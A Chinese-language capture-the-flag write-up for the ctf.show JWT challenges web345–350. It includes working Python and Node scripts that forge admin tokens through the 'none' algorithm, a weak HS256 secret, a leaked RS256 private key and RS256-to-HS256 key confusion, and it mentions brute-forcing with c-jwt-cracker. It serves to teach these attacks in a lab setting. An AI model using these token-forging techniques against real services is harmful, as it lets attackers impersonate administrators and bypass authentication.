CTFSHOW-jwt
文章发布时间:
最后更新时间:
最后更新时间:
什么是jwt?
https://xz.aliyun.com/t/2338
web345. jwt开始啦
网络头中包含jwt,且源码提示/admin1
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2Njc0OTE0NjUsImV4cCI6MTY2NzQ5ODY2NSwibmJmIjoxNjY3NDkxNDY1LCJzdWIiOiJ1c2VyIiwianRpIjoiNDhkZmQ5NTQxNjg0MmVmNzk5YzFhZWE0ZGYzMTdhMjkifV0
解密查看
可以看到前面算法为None,所以可以直接改payload
user改为admin,然后访问/admin,不过官网不支持算法为None,而且似乎有时间限制,自己写一个(
不知道为啥,直接不加头才能过。。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22# coding=gbk
import base64
import requests
def jwtBase64Encode(x):
return base64.b64encode(x.encode()).decode()
url = "http://34d96376-765a-4c54-8260-b8aa2b3877f0.challenge.ctf.show/"
r = requests.get(url)
header = r.cookies.get('auth').split('.')[0]+'='
payload = r.cookies.get('auth').split('.')[1]+'='
header = base64.b64decode(header).decode()
payload = '[{"sub": "admin"}]'
print(payload)
print(header)
exp = jwtBase64Encode(payload)
cookie = {
'auth': exp
}
print(requests.get(url=(url+'admin'), cookies=cookie).text)- web346. jwt开始啦
这道题拿到cookie后解密查看
{:height 378, :width 606}
这道题的绕过思路是将alg算法字段设为None1
2设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,
攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26# coding=gbk
import jwt
import requests
payload = {
"iss": "admin",
"iat": 1667661864,
"exp": 1667669064,
"nbf": 1667661864,
"sub": "admin",
"jti": "5e09a625249b8d2b02d937ea6bfc744b"
}
header = {
"alg": "none",
"typ": "JWT"
}
token = jwt.encode(payload, key="", algorithm="none", headers=header)
url = "http://b3699e0a-d78f-45fe-aea2-6b3f5b1303eb.challenge.ctf.show/admin"
cookie = {
'auth': token
}
r = requests.get(url, cookies=cookie)
print(r.text) - web347. jwt开始啦 弱口令
还是先拿到cookie,解密
题目提示了弱口令,加密算法为HS256 对称加密+签名的方式。尝试1234561
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26# coding=gbk
import jwt
import requests
payload = {
"iss": "admin",
"iat": 1667662665,
"exp": 1667669865,
"nbf": 1667662665,
"sub": "admin",
"jti": "cd37664abf02e203553e5de2d4d896a0"
}
header = {
"alg": "HS256",
"typ": "JWT"
}
token = jwt.encode(payload, key="123456", algorithm="HS256", headers=header)
url = "http://c0e181e3-71aa-4a14-9876-73ac6f4c5adc.challenge.ctf.show/admin"
cookie = {
'auth': token
}
r = requests.get(url, cookies=cookie)
print(r.text) - web348. jwt开始啦 爆破
拿到cookie,解密
依然是HS256
利用 c-jwt-cracker 进行爆破
然后同上题代码即可拿到flag - web349.
这次题目还给了代码,审计一波其中我们可以看到这次的加密算法时RS256非对称加密,利用私钥进行签名加密,公钥进行解密。特别注意公私钥都放在了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});/public
目录下,我们直接拿到
拿到cookie解密之后也可以映证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24# coding=gbk
import jwt
import requests
private_key = open('/Users/racerz/Desktop/Java Sec/代码审计/OWASP/private.key', 'r').read()
public_key = open('/Users/racerz/Desktop/Java Sec/代码审计/OWASP/public.key', 'r').read()
payload = {
"user": "admin",
"iat": 1667664490
}
header = {
"alg": "RS256",
"typ": "JWT"
}
token = jwt.encode(payload, key=private_key, algorithm="RS256", headers=header)
cookies = {
'auth': token
}
url = "http://2ae2702b-ff90-47cb-ad6e-051d09e41025.challenge.ctf.show/"
r = requests.post(url, cookies=cookies)
print(r.text) - web 350.
这次给了整套源码,验证cookie的部分没变,不过在public目录下只有公钥文件了
查看cookie,解密
利用原因:因为node和python生成jwt的机制不同,所以直接利用node来生成1
2
3此攻击的原因是某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。
通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,
我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。1
2
3
4
5
6var jwt = require('jsonwebtoken');
var fs = require('fs');
var publicKey = fs.readFileSync('public/public.key');
var token = jwt.sign({ user: 'admin' }, publicKey, { algorithm: 'HS256' });
console.log(token)